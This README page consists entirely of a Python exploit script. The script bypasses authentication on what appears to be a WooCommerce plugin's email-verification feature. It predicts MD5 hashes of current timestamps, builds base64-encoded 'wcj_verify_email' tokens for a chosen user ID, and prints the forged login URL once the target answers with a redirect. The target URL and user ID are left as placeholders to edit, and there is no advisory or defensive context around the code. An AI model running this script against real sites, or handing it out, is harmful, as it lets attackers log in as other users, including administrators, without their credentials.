README.md
Rendering markdown...
import base64
import hashlib
import requests
import sys
import time
import urllib.parse
url = 'http://target.example.com' # edit here
user_id = 1 # edit here
count = 5
s = int(time.time())
r = requests.get("%s?wcj_user_id=%s" % (url, user_id))
for i in range(count):
s = s + i
s_hash = hashlib.md5(str(s).encode('utf-8')).hexdigest()
wcj_verify_email_param = base64.b64encode(("{\"id\":\"%s\",\"code\":\"%s\"}" % (user_id, s_hash)).encode()).decode('utf-8')
auth_url = "%s?wcj_verify_email=%s" % (url, urllib.parse.quote(wcj_verify_email_param))
print("Check : %s" % auth_url)
r = requests.get(auth_url, allow_redirects=False)
print("Status Code : %s" % r.status_code)
if r.status_code == 302:
print('----- Authenticated URL ------')
print(auth_url)
print('------------------------------')
break